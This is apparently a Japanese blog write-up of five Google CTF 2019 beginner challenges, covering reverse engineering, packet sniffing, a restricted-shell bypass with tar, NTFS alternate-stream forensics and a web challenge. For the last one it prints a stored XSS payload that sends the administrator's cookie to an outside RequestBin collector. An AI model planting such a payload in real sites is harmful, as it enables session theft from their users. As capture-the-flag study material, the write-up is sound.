Google CTF 2019 Wrietup (Beginners)

6月22日から23日にかけてGoogle CTFが開催されていたため、参加しました。本選のほうは解けなかったため、Begginers Questのほうにチャレンジし、5問ほど解けたのでそのWriteupを記載します。 

 

Enter Space-Time Coordinates

ELFファイルを渡されるため、まずはファイルを実行してみる。

 

f:id:bankingmalware:20190625160345p:plain

実行すると上記のように、入力が求められるため、適当な文字列を入力するとフラグを取れると推測。ltracestrace等を利用して簡単にトレースをしてみるが、フラグが見つけれなかったため、無償なデコンパイラGhidraを使って解析。フラグゲット。

(単純にstrings ./rand2 | grep CTFとかでも解くことが出来ました。) 

 

f:id:bankingmalware:20190625160413p:plain

2問目 Satellite (Network)

Networkのカテゴリにも関わらず、ELFファイルを渡されたためとりあえず実行してみ
る。

f:id:bankingmalware:20190625170732p:plain

上記のように実行すると”Enter the name of the satellite to connect to or 'exit' to quit”と表示されるので、今回のCTFストーリーのSatellite名である”Osmium”と入力pするとGoogleドキュメントのURLが表示された。URLにアクセスすると、下記の文字列が書かれたファイルが表示された。

VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg==

 

Base64でデコードすると、下記のようになる。

Username: wireshark-rocks

Password: start-sniffing!

 

特にPCAPファイルは今までなかったため、ここでどうすべきか悩んだが、Passwordstart-sniffing!のため、通信にフラグがあるのではないかと推測する。

-sudo tcpdump -w sniffing2.pcap

tcpdumpでパケットをキャプチャした状態で、ELFファイルを実行。キャプチャしたファイルをWiresharkで見るとフラグゲット。

 

f:id:bankingmalware:20190625170808p:plain

 

3問目 Work Computer (SandBox)

問題からサーバ名とポートが渡されるため、ncコマンドを使って接続する。

-nc readme.ctfcompetition.com 1337

lsコマンドを使うと、README.flagが見えるがcatless等の表示系のコマンドを制限されており、中身が見れない。

 

f:id:bankingmalware:20190625170823p:plain

 

他のコマンドのオプションを使って、この制限をバイパスして表示できないか検討。

/bin/usr./binで実行可能コマンドを探していると、tarコマンドを発見し、下記の通り標準出力が可能なオプション(-O)があることを発見。

f:id:bankingmalware:20190625170842p:plain

下記の2つのコマンドを実行し、フラグゲット。

f:id:bankingmalware:20190625170856p:plain

 

4問目 Home Computer (Forensic)

 フォレンジックの問題で、ntfsファイルが渡される。まずはFTKImagerを使ってマウントする。するとほとんどのファイルが0バイトだが、Documentsの中にcredentials.txtという1バイトのテキストファイルがあるので開いてみる。

f:id:bankingmalware:20190625175038p:plain

情報を拡張属性に入れているとあるので、拡張属性を確認すると、やはり$DATAに何らかの情報が埋め込まれていることを確認。

f:id:bankingmalware:20190625175258p:plain

more < credentials.txt:FILE0:$DATAとしても、なぜかうまくバイトを取り出せなかったため(エンコードされるため?)、ADS Managerという拡張属性を確認出来るツールを使って、credentials.txt:FILE0:$DATAをtemp.pngという名前でエクスポートする。

f:id:bankingmalware:20190625175846p:plain

中身はpngファイルで開くとフラグゲット。

 

f:id:bankingmalware:20190625180050p:plain

 

 

 

5問目 Government Agriculture Network (Web)

 

下記WebサイトのURLを渡されるので、サイトにアクセスするとPostする項目がある。

https://govagriculture.web.ctfcompetition.com/

f:id:bankingmalware:20190625170925p:plain

適当にPostすると、AdministratorPost内容をチェックすると表示される。

f:id:bankingmalware:20190625170941p:plain

これよりXSSを利用し、Administratorをサイトに誘導するとなんらかの情報を取れるのではと推測。下記の内容をPostして、CookieをクエリにつけてRequestBinにリダイレクトされるようにすると、RequestBinCookie(フラグ)がついたアクセスが確認でき、フラグゲット。

<script>

location.href='RequestBinのURL?cookie='+document.cookie;</script>

 

f:id:bankingmalware:20190625170952p:plain